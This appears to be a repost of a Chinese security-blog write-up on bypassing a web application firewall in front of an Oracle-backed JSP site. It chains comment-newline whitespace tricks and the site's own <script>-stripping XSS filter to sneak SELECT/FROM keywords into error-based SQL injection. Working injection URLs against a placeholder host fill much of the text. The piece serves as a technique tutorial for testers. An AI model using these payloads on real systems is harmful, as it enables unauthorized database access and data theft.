當前位置:
首頁 > 新聞 > 新型滲透手法:利用XSS繞過WAF進行SQL注入

新型滲透手法:利用XSS繞過WAF進行SQL注入

0x00 前言



看到標題,很多人肯定會一臉懵逼,這是什麼鬼。利用xss繞過waf進行sql注入?話說,沒點意思的文章,我自己也不好意思寫出來啊。


通俗講,就是XSS和sql注入相結合繞過waf。知識要能靈活運用嘛。做一個靈活的胖子(雖然我不是胖子)。


0x0

1

起因


咳咳,還是來說下起因吧!最近遇到一個網站,有防火牆,而且極其變態。後來測試發現,竟然是oracle資料庫。對,你沒看錯,是oracle資料庫。


眾所周知,mysql語句最鬆散,曾幾何時依靠/!50000select/ 這種類型和各種變形,可以秒殺很多防火牆,而且網上大量這樣的文章:



mssql語句次之,可以使用多行執行。還可以搭配伺服器使用 se%le%ct 這種繞過方式繞過。


相比起oracle,簡直了。這些招式都不管用。看了很多文章,看不到多少關於oracle注入的文章。繞防火牆的文章更是稀少。繞過變態的防火牆的基本沒有。這一次就遇到了一個比較不錯的素材。給大家分享,交流。


0x0

2

SQL注入

初探


廢話不多說,實戰開始。加入單引號:


http://www.hacker.com/news/index.jsp?id=2862%27  



收集信息如下:字元型注入+oracle。常規測試 『 and 1=1— +


直接被防火牆攔截了,而且攔截有點變態,連anxd都攔。


既然攔截了anxd,我們推測他應該是過濾的後面1=1 那麼我們換成1 like 1試試:



換成and 1 like 1會顯示系統錯誤。在這裡,連最基礎的正確語句都無法執行。可推測,這個網站至少有兩層過濾,一層防火牆,一層代碼過濾。我的內心是這樣的:



這激起了我好勝之心。越難才越有挑戰。另外oracle注入+防火牆,也不是隨隨便便都能碰到的。


0x0

3

初生牛犢:

嘗試突破

那麼,就開始突破吧!


思考:如果此處為mysql+php那麼繞過也許不會那麼難受,但是此處是jsp+oracle。 Oracle各位黑友流傳出來的語法基本就那麼幾種,像/*!50000 這種類型的都不可以用,所以給繞過帶來了極大的困難。


考慮到防火牆,一般都採用正則的方式進行攔截的。我們嘗試是否有可以替代空格對正則進行繞過,看看waf是否有所疏漏,經過大量測試,發現/%23%0a/可進行繞過。我們嘗試下:


http://www.hacker.com/news/index.jsp?id=2862』 and/%23%0a/1=1—



http://www.hacker.com/news/index.jsp?id=2862』and/%23%0a/1=2—



兩次返回頁面不一樣,成功繞過。想到使用聯合查詢就可以直接獲取想要的數據了,彷彿白富美就在眼前。然後當我滿懷欣喜準備大殺四方的時候,輸入order by 10的時候一臉懵逼:


居然又被防火牆攔截。說明and攔截規則 和 order by 攔截規則又不一樣。


前面不知道大家是否記得我說過了,此處防火牆最起碼有兩層過濾,真是令人窒息的防火牆。



在此處,如果要進行聯合查詢,而基本的order by 都會攔截,那麼聯合查詢更難突破,因為要同時突破unon select from這三個無意是判了死刑。


0x0

4

因地制宜:

顯錯注入


見到此,我們不能放棄。


聯想到

http://www.hacker.com/news/index.jsp?id=2862%27

有報錯信息,然後就考慮使用顯錯注入:



首先,我們來嘗試獲取資料庫名。


http://www.hacker.com/news/index.jsp?id=2862"and/*%23%0a*/1=utl_inaddr.get_host_name((ora_database_name))--


訪問後結果如下:



被攔截,意料之中。


經過測試發現攔截了utl_inaddr.get_host_name函數。眾所周知,mysql可以用/!information_schema/.SCHEMATA 此語法進行繞過測試。但是oracle是肯定不支持此語法的。不信我們試試:


http://www.hacker.com/news/index.jsp?id=2862"and/*%23%0a*/1=/*!utl_inaddr*/.get_host_name((ora_database_name))--




可以看到,執行失敗,語法是錯誤的。我們不要灰心。



此處,我們思維就需要進行改變,我們不能像這種形式:



但是可以這一種:



然後進行嘗試:

http://www.hacker.com/news/index.jsp?id=2862"and/*%23%0a*/1=utl_inaddr./*%23%0a*/get_host_name((ora_database_name))--




成功繞過並執行成功,並且出庫。在挖漏洞的時候大家肯定到此處就完了,因為可以證明漏洞存在了,並且可以被利用了。


但是,我們此處想要的是bypass waf繞過。有時候就得對自己要求高一點。


0x0

5

高潮迭起:利用

組合拳進行突破


我們考慮到,一般防火牆對select 和 from過濾是最嚴格的。因為and 等只是探測,而select form是可以直接查詢出數據的。所以,構造一個含有select from語句對防火牆進行探測,是很有必要的。

構造如下語句來獲取資料庫版本(包含select from):


http://www.hacker.com/news/index.jsp?id=2862"AND  1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--



意料之中的被攔截。加上前面的繞過空格試試能不能繞過:


http://www.hacker.com/news/index.jsp?id=2862"AND/*%23%0a*/1=ctxsys.drithsx.sn(1,(select/*%23%0a*/banner/*%23%0a*/from/*%23%0a*/sys.v_$version/*%23%0a*/where/*%23%0a*/rownum=1))--



依然被攔截。又在意料之中!


那麼如何進行突破呢?此處我們需要換種思路,對常見的xss進行測試如下:



我們發現了什麼?結果顯示只是帶入了單引號,而<script>

卻不見了。不應該啊,難道是系統給清空了?


為了確定我們的想法,我們再次進行嘗試:



驚不驚喜,意不意外,開不開心。會自動把<script>

替換為空格:



那麼我們的語句就可以進行如下構造,改的連我們自己都不認識了:


http://www.hacker.com/news/index.jsp?id=2862"AND/*%23%0a*/1=ctxsys.drithsx.sn(1,(sel<script>ect/*%23%0a*/banner/*%23%0a*/fro<script>m/*%23%0a*/sys.v_$version/*%23%0a*/where/*%23%0a*/rownum=1))--


然後執行看看:



可以看到,成功繞過了select from的限制。關鍵字過濾也被突破了,而且又對括弧和點未進行過濾,那麼其他的語句,我們就可以自行構造。想要獲取什麼都可以了。


0x0

6

後記:有趣的靈魂


個人認為,基礎的知識點,你知道的,別人也知道。只要能在互聯網看的到的,都是大家所知道的。如何把所學的知識點串聯起來,並且進行融會貫通,這是我們需要去做的。


這不光是xss和sql注入組合型攻擊的利用,也是常見繞過waf的組合型利用。


有一句話叫什麼來著,好看的皮囊千篇一律,有趣的靈魂萬里挑一。不嘗試下,都不知道自己那麼有趣。


*本文作者:風之傳說,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。



喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

網易雲音樂PC客戶端加密API逆向解析
關於網路釣魚的深入討論

TAG:FreeBuf |